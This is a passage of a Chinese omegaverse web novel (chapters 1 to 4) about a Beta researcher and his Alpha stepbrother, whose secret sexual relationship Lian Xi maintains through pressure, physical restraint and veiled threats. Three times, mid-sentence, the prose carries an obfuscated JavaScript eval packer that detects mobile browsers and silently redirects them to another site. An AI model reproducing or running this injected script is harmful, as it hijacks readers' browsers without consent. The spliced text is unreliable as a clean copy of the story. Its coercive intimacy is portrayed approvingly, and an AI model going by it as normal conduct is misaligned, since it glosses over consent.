《成为恶劣Alpha的Beta继兄》 1. 第 1 章 A市今年的冬天来得格外早,才刚进十二月,雪花就已纷纷扬扬落了下来。 雪天路滑,晚高峰的司机们不约而同降缓了车速,宁沅也不例外,把着方向盘在车流中龟速行进。 “居然堵成这样了。” 副驾上的许南星前后看了看,有点不好意思,“不然学长你过完前面的路口把我放下来,我下去去坐地铁好了。” “没关系,过完这条街就不堵了。” 宁沅低头看了一眼导航,滑动屏幕,“你这小区从地铁出来还要走半公里,你是Omega,万一着凉就不好了。” 青年骨节修长的手指在屏幕上移动,本就白皙的肤色在雪色冷光下莹莹若玉,垂落的眼睫浓密卷翘,鼻梁高挺,侧脸漂亮得让人难以相信他居然会是个Beta。 尽管已经认识许多年了,许南星有时候还是会对宁沅居然是个Beta这件事感到奇异,而跟他有相同感受的人也不止一个。 还在校的时候,许南星就经常听说有Alpha将宁沅错认成Omega,得知真相后又大失所望的传闻。 Beta怎么了,许南星暗自冷哼,宁沅就算是Beta,能力也甩那些Alpha们一大条街。还在学校的时候,他就没见过同系哪个Alpha绩点比宁沅更高的,工作后就更不提了,若不是资历卡着,哼哼。 许南星今年研二,受导师推荐到宁沅在的研究所做实习生,两人大学时就是旧识,如今又成了同事,关系比旁人要亲近一些。 最近许南星跟家里闹别扭搬了出来,没了家里的司机接送,只能坐地铁上下班。 碰巧赶上下雪,许南星实在不想再去挤地铁,厚着脸皮问宁沅能不能顺路捎他一段,结果宁沅不仅答应了,还说可以直接送他到家,把许南星感动得不要不要的。 从两人进入这条街开始已经堵了有十多分钟,车子却才挪了不到一半的距离。 换成一般人多少都会有些不耐烦,宁沅却始终情绪稳定,甚至还在许南星愧疚时反过来宽慰他,说自己本来下班也是要走这条路。 这条路也确实是容易堵,宁沅平时也会在这里堵上一会儿,雪天更是化成了一锅黏稠的粥,车辆如同米粒般艰难地在锅中移动。 许南星看一时半会儿出不去,索性掏出手机刷朋友圈打发时间,碰到什么有趣的还不忘跟旁边的宁沅分享,以防他无聊。 “我去,我表哥竟然要订婚了?” 许南星像是忽然刷到了什么惊天大闻,神色诧异,飞快地滑动屏幕,“对面的那个Alpha……靠,怎么是连铮这个傻逼。” 宁沅早从许南星平日里的习惯知晓他家境不错,但从他口中听到某个认识的名字,还是微微一怔,“连铮?” “是啊。”许南星问,“学长你也知道?” 宁沅略微停顿,“只是听人说过。” “肯定不是什么好话吧,这Alpha私底下玩可花了,不行,我得跟我表哥说一声。” 许南星碎碎念着坐直身体,两手抱着手机飞快地在屏幕上敲击。 但没过一会儿,许南星就又卧槽了一声,呆愣着抬起头,满脸不可思议,“他居然说没事,大不了婚后两人一起玩,谁也不吃亏??!” 宁沅想起昨晚睡前看过的某条新闻,幅度很轻地眨了下眼,没有说话。 许南星仍停留在上条消息带来的震惊里,没有注意到他。 出身豪门,许南星是知道圈子里有些夫妻貌合神离,是受家族安排联姻搭伙过日子的。但他父母感情不错,许南星一直都以为这种事情离自己很远,没想到就这么突然地要发生在身边了。 他姨夫看起来还挺疼他表哥的啊,肯定是连家二房仗势欺人。 许南星自觉找到了答案,愤愤戳了戳屏幕,“连铮这傻逼,我诅咒他将来被连溪扫地出门。” 宁沅:“……” 回忆某人之前在他面前提起连铮这个堂哥时的嫌恶神色,宁沅觉得许南星的诅咒将来说不定还真会实现。 像是配合许南星这句话,宁沅放在中控台上的手机屏幕忽然亮了起来,来电显示很简单,是一个句号。 宁沅手机常年静音,只有几个特殊号码有震动提示,这个句号显然不在其列,扫了一眼就移开目光。 但许南星不清楚内情,以为宁沅是之前调了静音后没改过来,担心宁沅没注意到,主动提醒,“学长,有电话找你。” 宁沅“嗯”了一声,伸手拿过手机,却并没有像许南星以为的那样按下接听,而是反手给扣了过去。 他手机本来就是静音,屏幕翻转过后,来电就连亮屏的提示都没有了。且做这些时,宁沅的视线还一直保持着注视前方,半点也没有分过来。 许南星:“……” 短暂静谧过后,许南星机智地转移了话题。 随着最堵的路段过去,车流移动的速度明显变快,不多会儿便驶出了路口。将许南星由地下车库送进小区楼下,宁沅驱车调头回家。 十分钟后,宁沅熄火下车,借着等候电梯的空隙拿出手机,解锁屏幕看了一眼。 最近的一条未接来自二十分钟前,似乎是确认了他没有接电话的意图,对方没有再打过来。 比起连着打了几通的电话,消息列表倒是很干净,只有一条定位,显示坐标的蓝色圆点跟宁沅的绿点垂直地叠在一起。 宁沅垂眼看着,半晌没有动静。 “叮——” 电梯抵达地下车库,金属门徐徐向两侧拉开,等候在外的住户鱼贯而入,路过宁沅时转头看了一眼,似乎在奇怪他怎么不上去。 “小伙子,进不进来呀?” 电梯开始自动闭合,好心的大爷按住开门键,对门外的宁沅出声询问。 “进的,谢谢您。” 宁沅回过神来,收了手机走进去。 电梯一路上升,中间几次停顿,送下几位住户,抵达二十三层时,已经只剩下宁沅自己。 呼出的气息化作白雾,宁沅紧了紧颈间的围巾,迈步走出去。 推门的瞬间,恰赶上连溪从浴室里出来。 ALpha身上只披了一件浴袍,腰带松松垮垮地系着,未擦净的水珠沿着肌理分明的胸腹滚下,没入腰间。 氤氲热气和着隐约的信息素扑面而来,宁沅借着关门的动作移开视线,连溪却毫无自觉地倾身过来,就着玄关的狭小空隙把他困在怀里。 “为什么不接电话?” “开会静音没听到。” 宁沅随口敷衍,换好鞋后越过人想出去,然而没走两步就被拽回,半转过来压在门后。 “鸢尾花……” 连溪指尖在他颈后轻抹了一下,声音倏然冷下来,“你开会是跟Omega单独在一起?” 刚从浴室出来,连溪并没有用阻隔剂,即使宁沅是对信息素不敏感的Beta,在这么近的距离下也不可避免地闻到了他身上的信息素味道。 龙舌兰独特的柑橘调混着草木香在鼻尖充盈,霸道而热烈,密不透风地包裹着他。 明明已经在一起有段时间,宁沅也还是对连溪的信息素难以适应。 呼吸困难,宁沅本能地想要挣动,却被收拢手臂抱得更紧。 Alpha和Beta与生俱来的差距难以逾越,宁沅认命地不再挣扎,“连溪,你如果有一个Alpha基本的判断,就应该知道这只是正常社交距离下接触到的。” “正常社交距离下的信息素不会持续这么久,你们至少在密闭空间里独处了半小时。” Alpha愈发咄咄逼人,“你跟Omega约会了?” “顺路送同事回家而已,而且就算是约会又怎么样?” 宁沅神色平静,语气却隐含嘲讽,“你是以什么身份来质问我呢?你昨天不刚和女伴一起出席宴会吗?” “哥哥在吃醋吗?” 连溪像是被取悦到了,轻笑一声,低头用鼻尖挨着他的后颈狎昵地蹭,“只是社交场上必要的礼仪而已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004720|194023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我这不是刚回来就来找你了吗?” “连溪。” 宁沅闭了闭眼,不想再在这些话题上做无谓的纠缠,“你答应过我,订婚后就结束关系。” “我是答应过你,可是哥哥……” 连溪用拇指摩挲着宁沅的唇瓣,满意地看着那双线条冷淡的薄唇染上嫣红,弯腰将人抱进浴室,“那是订婚后的事情,而现在,我还没有订婚。” * 一场争吵莫名开始,又莫名结束,消弭于无形,回归到最初的主旋律。 热水兜头淋下,水雾渐起。 宁沅望着瓷砖上交叠的虚影,不知该如何定义他和连溪之间的这段关系。 每逢争吵的时候,宁沅恍然会有种他们其实是在谈恋爱的错觉。 可哪对情侣谈恋爱是像他们这样? 见面上床,做完分手,平时碰面当陌生人,逢年过节却得回家坐在同一张餐桌对面扮演兄友弟恭。 宁沅时常担心自己精分,可反观连溪,却好似是乐在其中,丝毫看不出对此事的排斥,偶尔甚至还会故意挑宁沅休假时和他一起回家。 就拿这次的事情来说,隔天是宁沅的姑姑宁雅的生日,宁沅是肯定会回去的。而连溪昨晚还在C城和女伴参加晚宴,今天就出现在千里之外的A市。 说他是专程赶回来为继母庆生,谁信? 宁沅父亲早逝,随姑姑宁雅一起生活,八年前宁雅再婚嫁给了连溪的父亲连盛,两人也就此成了继兄弟关系。 豪门出身的Alpha小少爷性格恶劣又傲慢,对宁沅肆意捉弄,宁沅花了半年时间才让他对自己失去兴趣,与之井水不犯河水地度过八年。 但几个月前连溪意外到来的那次易感期,却又让他们的关系开始越轨。 而这次无论宁沅怎么回避,都没能再让Alpha的注意力从自己身上移开。 宁沅想过连溪是不是存心跟他找不痛快,后来发现这人就是单纯的性格恶劣,一如他当初易感期拉着他不放,之后又强要和他维持地下关系一样。 似乎察觉到他在走神,连溪忽然加重力道撞了他一下。 宁沅毫无防备,唇角泄出一声短促的闷哼,身体被动前倾,触及冰凉的瓷砖后条件反射地弹回,投怀送抱般落回到身后的始作俑者怀里。 连溪顺势接住他,俯首在他耳边低笑,“这么主动啊,哥哥。” 接触随着姿势变化陡然加深,宁沅呼吸微乱,屈肘向后还击,却被早有准备的Alpha轻松挡住。 宁沅身型偏瘦,但平素有锻炼的习惯,单薄却不羸弱,表面覆着一层薄肌,手臂绷紧时的线条流畅且漂亮。 连溪捉住他的手腕后就没再放开,沿着手臂向上一寸寸摩挲到手腕,强势挤进去和他十指相扣,“哥哥刚刚在想什么?” 像落入网中的蝴蝶,宁沅的腰背如被拉开的弓弦般绷紧,浅色瞳孔蒙上一层水雾,恍然有了片刻失神。 但这幅画面只维持了很短的一个瞬间,快到连溪还未能将之尽数收于眼底,宁沅便已恢复过来,神色恹冷阖上眼,“想你是不是没吃饭。” 这话自然不是真的关心连溪吃没吃饭的意思,Alpha蓦地停住了,片刻后幽幽叹息,“哥哥,你可真会招惹我。” 宁沅对他这倒打一耙的行为已经习惯了,纠正的话都懒得说,“要做做,不做滚。” “好吧,看来是我太没用了,才让哥哥这个时候还有心思想别的事情。” 连溪半托起宁沅的身体,竟然就着这个姿势将他转了过来,由背对换成拥在怀里。 失重带来的感触格外鲜明,宁沅克制不住地低喘一声,眸中水色更重,眼尾更是晕出了漂亮的胭脂色。他本能攀上连溪的肩膀,借力上移,试图让自己好过一些。 但这点心思很快就被Alpha识破了。 连溪一手圈着他的腰将他按回到原来的位置,一手钳着他的下巴吻下来,话声吞没在唇齿间,“哥哥且留些力气吧,夜还长呢。” 2. 第 2 章 尽管前一天折腾到了很晚,宁沅良好的生物钟还是让他在七点钟准时醒了过来。 只是身体虽然醒了,意识却还疲累着,过了好一会儿,宁沅才发觉空气中的信息素多得似乎有些不正常,而来源正在他的身后。 撑着酸软的身体回过头,果不其然看到了连溪放大的脸。 两人这样的关系虽然已经维持了一段时间,但像这样的留宿此前还从未有过。 连溪还在睡着,一条手臂横在宁沅身前,以一个强硬的姿势将他圈在怀里。 睡梦中的Alpha脸上没了惯常的笑模样,看起来比平日里更不好接近,原本的五官显露出来,眉眼是近乎稠艳的锋锐,信息素毫无遮挡地释放着,将整个房间都尽数侵占。 不用分辨,宁沅也知道自己此时定然满身都是Alpha的信息素。 Beta虽然不能被标记,被信息素沾染却是无法避免的事情,甚至因为对信息素不敏感,偶尔还会出现误染信息素而不自知的情况。 公共场合下Alpha和Omega都会使用阻隔剂或阻隔贴,但这些手段并不能完全隔离信息素的释放,通常还会有少量溢出。 宁沅昨天就是这种情况,那个Omega用了阻隔贴,但因为他们是在密闭的车厢里,他身上还是不可避免地沾了一些。 这些微量的信息素Beta自己察觉不到,感官敏锐的Alpha或Omega却能立即就分辨出来。 可谁问过Beta的意见呢,难道Beta就愿意这样吗? 宁沅面无表情地转开脸,掀开身上的手臂坐起身。 腰间有些不适,但还在能忍受的范围内,宁沅赤脚下床找到遥控器,打开空调的换风系统。 “滴”的一声,空调发出轻微的嗡鸣声,开始运作,替换掉房间里满溢的信息素,送来徐徐清风。 情绪略微舒缓,宁沅回身到床边找到拖鞋,进浴室洗漱。 他这套房子是三室两厅,里外各有一个卫生间。 从贴心的角度来说,连溪还没醒,宁沅应该去外面的卫生间,以免吵醒对方,但宁沅却没有那么做。连溪会不会被吵醒关他什么事,又不是他让人留下来的。 身上昨晚已经被清理过,宁沅就只简单洗漱了一遍,前后不过几分钟。但毕竟只隔了一道墙壁,连溪还是被吵醒了。 宁沅出来时,就见Alpha曲着一条长腿坐在床边,满脸被打扰的不快。 但盯着宁沅看了一会儿,连溪却又忽然笑起来,歪着头闲闲道:“早安啊,哥哥。” Alpha嗓音低沉,带着晨起后特有的沙哑,听起来性感而撩人。 放在寻常情侣之间,这该是个温馨清晨的开始,但落在宁沅耳中,就莫名带了些挑衅的火药味。 大早上的,宁沅不想费口舌之争,自动屏蔽了这一句,到衣柜前准备换衣服。 连溪被无视也没生气,自顾自地下床进浴室洗漱。他昨天是下飞机后直接来的宁沅家,行李箱就敞在床尾,私人物品和换洗衣服一应俱全,省了许多麻烦。 忽略浴室里的动静,宁沅把要穿的衣服搭配好放到旁边,开始解身上睡衣的扣子。 睡衣宽松且质地柔软,穿在身上时觉不出什么,换上别的衣服,宁沅才感觉到前胸有些不适。 而随着衣服加层,这种不适越发难以忽略,宁沅只能把穿了一半的上衣脱下,拿创可贴处理了一下再重新套上。 一穿一脱浪费不少时间,连溪都洗漱完从浴室里出来了,宁沅还在穿衣镜前扣扣子。 隔着镜子,连溪的目光肆无忌惮地在宁沅身上巡逻了个来回,卡着宁沅忍耐的边缘过来亲了他一下,“哥哥真漂亮。” 认识这么久,宁沅已经很清楚连溪的性格,越搭理他越来劲儿,最好的办法就是无视。 扣完最后一颗扣子,宁沅转身去了厨房,连溪换好衣服跟过去,看到他面前的面包生菜后略微无语,“你早上就吃这个?” 宁沅拆着包装,头也不抬地回他,“要吃别的自己做。” 连溪去开冰箱,然后收获了一个比流理台更干净的冰柜,“……这冰箱跟了你真是受委屈了。” 宁沅再次屏蔽了他这句话,转身去拿冰箱里的牛奶。 “别喝这个了。” 连溪把牛奶抢过去放回深处,从底下摸了三颗鸡蛋出来,示意宁沅让开。 想到这人有过几年的留学经历,宁沅跟他换了个位置。 十分钟后,连溪端了一碗蛋花汤出来。宁沅尝了下,味道竟然比他预期的要好很多。 看在这碗蛋花汤的份上,宁沅容忍连溪用了他的厨房,吃了他的早饭。 但看这人刷过碗后磨叽了半个小时还没有要走的意思,宁沅忍不住了,“你什么时候走?” 连溪盘腿坐在客厅沙发上,状若无辜,“反正都是要回家的,一起走不好吗?” “不好。” 宁沅拒绝得干脆,没有半点犹豫。连溪难得被噎了一下,“真是无情啊,哥哥。” Alpha向后一靠,语气带了几分无赖,“起太早了有点困,我休息一会儿再走。” 又是这样。 宁沅莫名想起几个月前的清晨,似乎也是这般情景,区别是地点是在连溪家里。 他狼狈欲走,Alpha却姿容懒散地斜靠在沙发上,半支着额头看他,“哥哥,你睡了我,要负责的吧。” 追着要Beta为自己负责的Alpha,宁沅真的生平仅见,甚至怀疑耳朵出了问题,“你一个Alpha……” “Alpha怎么了?我还是第一次!” 连溪强调完,弯着眼睛笑起来,“而且哥哥,是你在我易感期主动到我家来的。” 宁沅无言以对。 他会到连溪家,是因为宁雅拜托他顺路送个东西,而连溪当时也本不该在家,而是应该在国外参加他的毕业典礼。 偏偏连溪提前回国了,又因为易感期只能居家隔离而没有告诉家里他已经回来了这件事。 宁沅就这么无知无觉地撞了上来,等他发现房间里还有一个易感期的Alpha时已经来不及了。 他想将这件事定性为意外,连溪却硬要他负责,迫于连溪要找宁雅“主持公道”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004721|194023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压力,宁沅只能把自己家里的钥匙给了出去,这也是昨天连溪能直接进到他家里的原因。 过于相似的场景令宁沅心底生出些许不快,蹙起眉道:“你一定要留下?” “要我走也可以。” 连溪歪头盯了他一会儿,忽然转了话锋,起身走到宁沅身前。 Alpha微低下头,抬手隔空点了点自己的唇,“你亲我一下,我现在就走。” “怎么,不行吗?” 见宁沅不动,连溪眉峰扬起,站直身体自言自语般道:“那就只好哥哥去哪里,我就跟到哪里了。” 一句话把宁沅计划留连溪在家,自己提前出门的打算戳破。 宁沅抬起眼,正撞进连溪眼里。 Alpha有一双形状姣好的桃花眼,天生多情相,不笑时已是撩人,笑起来更是含情,此刻微弯着弧度任宁沅看,好似方才用言语暗示威胁的人不是自己一般。 但宁沅毫不怀疑,连溪真的能干得出这种事情。 “只是亲一下,没那么难吧。” 连溪倾身靠近他,语气轻得几乎像在诱哄,“就碰一下?” 宁沅抿了抿唇,亲一下自然不难,也并不是第一次了,但在这种事上,他一向都是被动着的,还真从没主动去做过什么。 时间一分一秒流逝,宁沅终于动了,他只想碰一下就结束,却在触碰的瞬间被拦腰抱起,就近抵在门边。 “啪嗒。” 宁沅的拖鞋掉了,接着是另一只。 双膝被强行顶开,被动缠在Alpha腰侧,连溪扣着他的后脑迫使他开口,反客为主地侵入进来。 Alpha吻得强势而霸道,像是要将他生吞了似的,宁沅挣扎出了半身汗,却半点也没能撼动到对方。 他在这种事上的经验属实不多,换气并不熟练,没过一会儿就开始呼吸不畅。 有心想要咬Alpha一口,又怕留下痕迹后被宁雅看到,再让对方找到机会乱说。 宁沅顾虑重重,连溪却是肆无忌惮,每每都卡着宁沅窒息的界限退出来,等他稍微缓过一点,就再次贴着他的唇吻上来。 反复几次过后,宁沅抓着他手臂的手指就失了力道,连挣扎的力气都没有了,只能被动承受。 Alpha用最快的速度攻城掠地,接着就开始慢条斯理地享用胜利果实,先含着唇珠轻吮,再咬着舌尖勾缠,接着□□敏感的上颚,最后听人克制不住地低喘。 结束之时,宁沅几乎整个人都软在了他怀里,身体细微地发着颤,面颊潮红,汗湿的额发贴在鬓边,因频繁缺氧而呼吸急促,胸膛不住地上下起伏着。 连溪眸色微深,略微遗憾地摸了摸宁沅那双被反复碾磨,以至于充血肿起的唇。 如果不是中午还要回家…… 这个念头在连溪心底一闪而过,很快被压了下去。 连溪把宁沅抱回到沙发上,接着又折返回去,将宁沅先前掉在外面的拖鞋捡回来,放到沙发旁边。 做完这些,连溪最后亲了宁沅一下,低头蹭了蹭他的鼻尖,微微笑起来,“哥哥,我们中午见。” 3. 第 3 章 房门被从外关闭,连溪走了。 宁沅积攒了些力气,撑着身体站起身,赤脚走进卫生间。 出了半身的汗,要重新洗澡,衣服被弄皱,也要全部换过,这些痕迹都好掩盖,可是脸上…… 宁沅对着镜子抿了抿唇,不知道借口说是昨晚吃了火锅能不能糊弄过去。 拖延到接近十一点,宁沅终于还是出门下楼。 街上的积雪已经被清扫干净,宁沅一路畅行,不过半个多小时就抵达了目的地。他在家里磨蹭了太多时间,连溪早已经到了,正在花园里陪连夏玩。 连夏是宁雅再婚后生的Alpha小儿子,今年刚满五岁,小家伙长了一双大眼睛,脸圆圆得可爱,性格又活泼好动,很是讨人喜欢。 宁沅停车的动静刚响起来,小家伙就已经警觉地抬起头,看到下车的人后,更是眼睛一亮,张着手臂跑了过来,“表蝈蝈。” 受他笑容感染,宁沅眉心不自觉舒展,停在原地等他。 昨天刚下过雪,连夏被保姆穿了一身很厚的衣服,跑起来像个小炮弹一般,圆滚滚地扑到宁沅腿上,仰着头奶声奶气,“表蝈蝈,要抱。” 这么点小要求,放在平日里宁沅肯定是想也不想就会满足。 但刚准备弯腰,身体就是一僵。 昨天被连溪折腾了一晚上,几个小时前还被按在墙上弄,开车都觉勉强,抱这么一个几十斤的大胖小子…… 宁沅担心人没抱起来,反倒被压得一起摔了。 正为难着,连溪不知何时走到近前,长臂一伸把连夏捞了过去,“连夏夏,你几岁?” 小Alpha蛄蛹着身子,答得不情不愿,“五岁了。” 连溪故作夸张语气,“五岁还要人抱,知不知羞?” 小Alpha的包子脸吹气般地鼓了起来,气哼哼地扭过头,不再搭理这个讨人厌的大哥。 他转过来的方向正对宁沅,嘟着嘴眼巴巴地看过来。宁沅瞧得心软,补偿性地在他脸上亲了一下。 小家伙瞬间又幸福了,害羞地捧着脸陶醉。 “可以。” 连溪忽然出声,宁沅抬眼,就见对方正似笑非笑地看着他,“对其他人就这么好说话啊,哥哥。” 没理会这句阴阳怪气,宁沅再次单方面屏蔽了连溪,加快脚步朝前走去。 原本在房间里的宁雅听到动静,这时也出了门,已经走到了台阶下。 她是位女性Beta,性格温柔且坚韧,在宁父去世后毅然决然地把宁沅接到了家里,为此还和当时的丈夫大吵了一架,宁沅一直很尊敬她。 “姑姑。” 宁沅轻轻地抱了她一下,双手将提前准备好的礼物送上,“之前偶然碰到的,觉得很适合您。” 宁雅接过盒子拆开,里面静静地躺着一枚水晶蝴蝶胸针,颜色是极漂亮的淡紫色。 “谢谢,我很喜欢。” 宁雅顺手将蝴蝶胸针别到了衣服上,她羽绒服里穿的是一件白色的针织毛衣,和胸针的颜色很是相配。 “妈妈。” 连夏挣扎着从连溪身上下来,哒哒跑到宁雅跟前,踮起脚看她胸前的蝴蝶,含糊不清地道:“小福蝶,漂亮!” 宁雅被逗笑了,摸了摸他的头。 谈话间,连父也出来了,态度温和地跟宁沅打了招呼。 刚下过雪,天气还没有完全回温,几人没在外面久留,很快回了主屋。 阿姨已经做好了午饭,中午是家宴,没有外人,宁沅到了之后人就齐了,直接开饭。 两家都没有食不言的规矩,午饭间也各有聊天,只是大都是宁雅和宁沅在说,伴随着连夏的叽叽喳喳。 连父和连溪则很少说话,仅有的几句交谈互相之间也很客气。 对此宁沅知道一点原因,连父的前任妻子是家族联姻,两人生下双胞胎后就和平离婚,各自带走一个孩子。 连父才能平庸,老爷子早早开始培养孙辈,连溪在几个堂兄弟间排行较小,刚满周岁就被抱了过去,与连父很少见面,是以关系并不亲近,父子俩是直到连夏出生之后,彼此间的会面才多了些。 吃过饭,宁沅被宁雅拉到楼上聊天,后者先是关心了他工作上的事情,而后笑着问他,“谈恋爱了?” “没……” 宁沅下意识抿了抿唇,“这个……是昨天跟同事去吃火锅。” 宁雅还是笑,只是笑容间带了几分作为过来人的长辈看小辈时的揶揄,“之前给你介绍对象你都拒绝,几个见过面也说不感兴趣,我还以为你要一直单着。” 宁沅垂下眼,不知该怎么答。 他确实没有什么谈恋爱的想法,如果不是连溪硬要缠着他,他应该也还是像之前那般一个人生活。 “姑姑不是催婚的意思,只是你还这么年轻,多交几个朋友也是多段人生经历。” 宁雅的观点一向超前,“哪怕最后还是决定不结婚,老了也还能拿出来跟人攀比攀比。” 宁沅被逗笑了,“您说的是。” 又聊了一会儿,就到了宁雅午睡的时间。宁沅独自下楼,看到连溪正坐在娱乐区里陪连夏堆积木。 虽然宁沅一直都觉得连溪性格恶劣,但他也不得不承认,连溪对连夏这个同父异母的弟弟还算不错。 偶有捉弄,但每次来都会带礼物,也会耐着性子陪着玩一些小孩子的幼稚玩具。 “表蝈蝈!” 宁沅下楼的脚步很轻,没发出什么声音,位置又恰好在连溪身后,所以Alpha并没有第一时间发现他。 反倒是他对面的连夏无意间抬头时瞧见,瞬间从趴着的动作窜地站起身,举着手里的积木发出邀请,“一起丸!” “好。” 左右这时候回家也没什么事情,宁沅就答应了,过去坐到连夏旁边。 连夏在玩的这个积木玩具很简单,可以对着商家附赠的图纸搭建,也可以随着喜好自由发挥。 宁沅来之前,连夏就是在随便把自己喜欢的颜色的积木拼在一起,宁沅来之后,连夏倒是正式了一些,从旁边的积木堆里把图纸扒拉出来,交给宁沅让他帮忙对照。 看着对面两人热火朝天的模样,连溪屈指敲了敲桌板,语气似笑非笑,“所以是没我什么事了?” 连夏“唔”了一声,摆摆手,“大哥你自己玩吧。” 语气好似在照顾什么要糖吃的小孩。 连溪差点给气笑了,干脆道:“不玩这个,我们换一个。” 连夏好奇问,“换什么?” “抽积木吧。” 连溪扫了一眼旁边的积木堆,将大小相等的竖条积木从中挑出来,每三个一组横竖交叉着堆上去,很快就堆了十五层高。 “三个人轮流抽,最顶层的不能动,谁最后把积木弄塌了,谁就要接受另外两个人的惩罚。” 五岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004722|194023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是对新奇东西好奇的年纪,这种带奖惩的游戏方式几乎是瞬间就吸引了连夏的注意力,“好,我们丸这个!” 小Alpha摩拳擦掌,已经提前在脑中预设起赢之后要怎么惩罚这个总是“欺负”自己的坏大哥。 宁沅本就是被拉来陪玩,对玩什么没有意见。 考虑到连夏年纪小手不稳,允许他单独用小锤子作辅助工具,另外两个人只能用手。 三人抽签决定顺序,很快开始了新游戏。 排在第一个的是宁沅,他从上往下观察过一遍,选了第三排中间的积木。食指轻推,没费什么功夫就将目标积木推了出来,轻松抽走。 紧接着后面的是连溪,比起宁沅先从上面开始抽,尽量不破坏底层的稳定的抽法,连溪就很坏心眼了,从最下面一排抽走了中间的一块。 经过前面两个人的示范,连夏也已经看懂了这个游戏该怎么玩,左右绕了两圈,挑中了一块较上层的积木,用小锤子小心翼翼地推了出来。 这个游戏刚开局时比较简单,几人都抽得很快,就算中间有些波折,也是有惊无险。 但随着游戏轮数往后,几人花费在抽积木上的时间就明显加长,尤其连溪几乎每次都是挑最下面的积木抽,导致积木塔早早地就变成了“危楼”。 不止连夏抽积木时要千挑万选,宁沅也必须仔细谨慎,才能保证不弄塌积木。 但这积木总是有塌的时候的,又过两轮,连夏抽积木时一个不慎,带翻了一块下层的积木,接着多米诺骨牌般地弄倒了一片。 小Alpha人都傻了,举着小锤子茫然四顾。 “不错。” 连溪笑着鼓起掌来。 他这一笑像是打开了什么开关,连夏扁了扁嘴,蓄在眼眶里的两包泪几乎是瞬间就滚了出来。 宁沅瞪了连溪一眼,拿了纸巾到小Alpha旁边安慰。 连溪被瞪得很无辜,“夸他还不行?” 宁沅不想理他,牵着连夏去卫生间洗脸,但没过一会儿又无奈地把人牵回来。 没办法,小Alpha不肯服输,誓要向他哥报仇。 连夏坐下就开始摆弄积木塔,宁沅正要跟着坐下,却发现自己的位置后方不知何时多了一个抱枕。 他下意识看向连溪,后者接收到他的目光,微微挑眉,宁沅顿了顿,收回目光若无其事地坐了下去。 三人就着这个抽积木的游戏玩了一下午,总算是让连溪输了一次,但总结下来,还是连夏输的最多,宁沅也不慎输了两回。 连溪给连夏的惩罚是什么宁沅没问,他这边给连夏的要求是三个月内禁止吃冰淇淋。 小家伙最喜甜食,闻言简直天都塌了,两边肩膀小狗般耷拉起来。 宁沅看得忍俊不禁,但也没有心软更改惩罚。冬天天凉,小孩子还是少吃些冰的好。 因为时间不早了,宁沅干脆又留下来吃了晚饭,这才告辞回家。 但他人刚坐进车里,正准备关门,就被人伸手挡住,连溪扶着车门俯下身,言简意赅,“我送你回去。” 让这人送自己回去,宁沅不用想也知道会发生什么,当即就要拒绝,连溪却状若无意地向后侧了下身。 不远处,宁雅正在主屋前看着他们这边。 宁沅:“……” 不想将事情闹到宁雅面前,宁沅拿着钥匙的手指紧了紧,终于还是起身挪到了副驾驶的位置。 4. 第 4 章 连溪性格张扬,开车倒是很稳,路上有些堵车,宁沅不知觉睡着了,停车时才猛然惊醒。 陌生的副驾视角让他下意识抓紧了身前的安全带,脊背绷直,像只乍然受惊的猫。 直至看清车窗外的环境,宁沅紧绷的情绪才倏然放松下来,身体向后靠回到椅背上。 视线偏移,宁沅发现驾驶座上的连溪在看他,也不知是已经看了多久。 想到自己方才的反应,宁沅略有些不自在,“怎么了?” 大概是睡过一会儿的关系,宁沅的尾音略有些哑,听得Alpha眸色微深,半真半假地埋怨,“哥哥睡得可真好。” 换个人说这话宁沅可能会不好意思,自己坐在副驾闷头睡觉放着司机一个人开车,但是连溪…… 宁沅低头解安全带,只装作没听见。 车上小憩了一路,宁沅稍微恢复了点精神,下车后大步走到了前面,连溪也不着急,慢悠悠地跟在他身后。 这是宁沅的要求,在外面时不许离他太近,连溪偶尔遵守,偶尔违逆,全看心情。 或许是因为天冷,大家都不爱出门,地下车库里没什么人,电梯也很快就下来了。 两人一前一后进去,金属门正要闭合,外面忽然传来一道男声,“麻烦等一下!” 宁沅帮着按了下开门键,很快就看到一个高个男生跑过来,接着是一个稍矮些的少年。 两人看起来似乎是对情侣,神态动作间很亲密,进来后朝宁沅二人道了谢,就头接头地凑在一起说话。 电梯里总共就他们四个,两人又没有刻意压低声音,宁沅不可避免地听到了几句小情侣之间的黏糊情话。 “今天来找你的那个Alpha是谁,我听到他说什么匹配报告,你之前去做过匹配度检测?” “好几年前做的了,那时候还不认识你呢。” “那他来找你,是拿到匹配度报告了?他跟你的匹配度很高?” “不算高吧,就七十多,他也就是好奇才来找我看看的。你吃醋了?” 